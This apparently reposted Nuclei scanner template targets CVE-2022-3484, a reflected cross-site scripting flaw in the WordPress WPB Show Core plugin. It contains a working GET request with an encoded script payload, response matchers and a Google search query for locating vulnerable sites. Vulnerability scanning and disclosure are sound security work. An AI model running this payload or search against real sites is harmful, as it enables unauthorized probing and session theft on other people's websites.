CVE-2022-3484: WordPress WPB Show Core - Cross-Site Scripting

2025-08-01 WordPress WPB Show Core PoC Public

Description

WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-3484

info:
  name: WordPress WPB Show Core - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
  remediation: |
    Update to the latest version of the WPB Show Core plugin, which includes a fix for the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3afaed61-6187-4915-acf0-16e79d5c2464
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3484
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3484
    cwe-id: CWE-79
    epss-score: 0.00955
    epss-percentile: 0.59649
    cpe: cpe:2.3:a:wpb_show_core_project:wpb_show_core:-:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpb_show_core_project
    product: wpb_show_core
    framework: wordpress
    google-query: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
  tags: cve,cve2022,wpscan,wp-plugin,wp,wordpress,xss,wpb-show-core,wpb_show_core_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "wpb_jplayer_setting")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100cdbf221b6bf1fab1b46dbb7ee2c5992e5ef8afdd3dce5ef55a12097aa0ce4843022100c580247c9da66ceb9fa2980d594085c0c93e32ef53ed386697068375d21ca740:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3484.yaml

References

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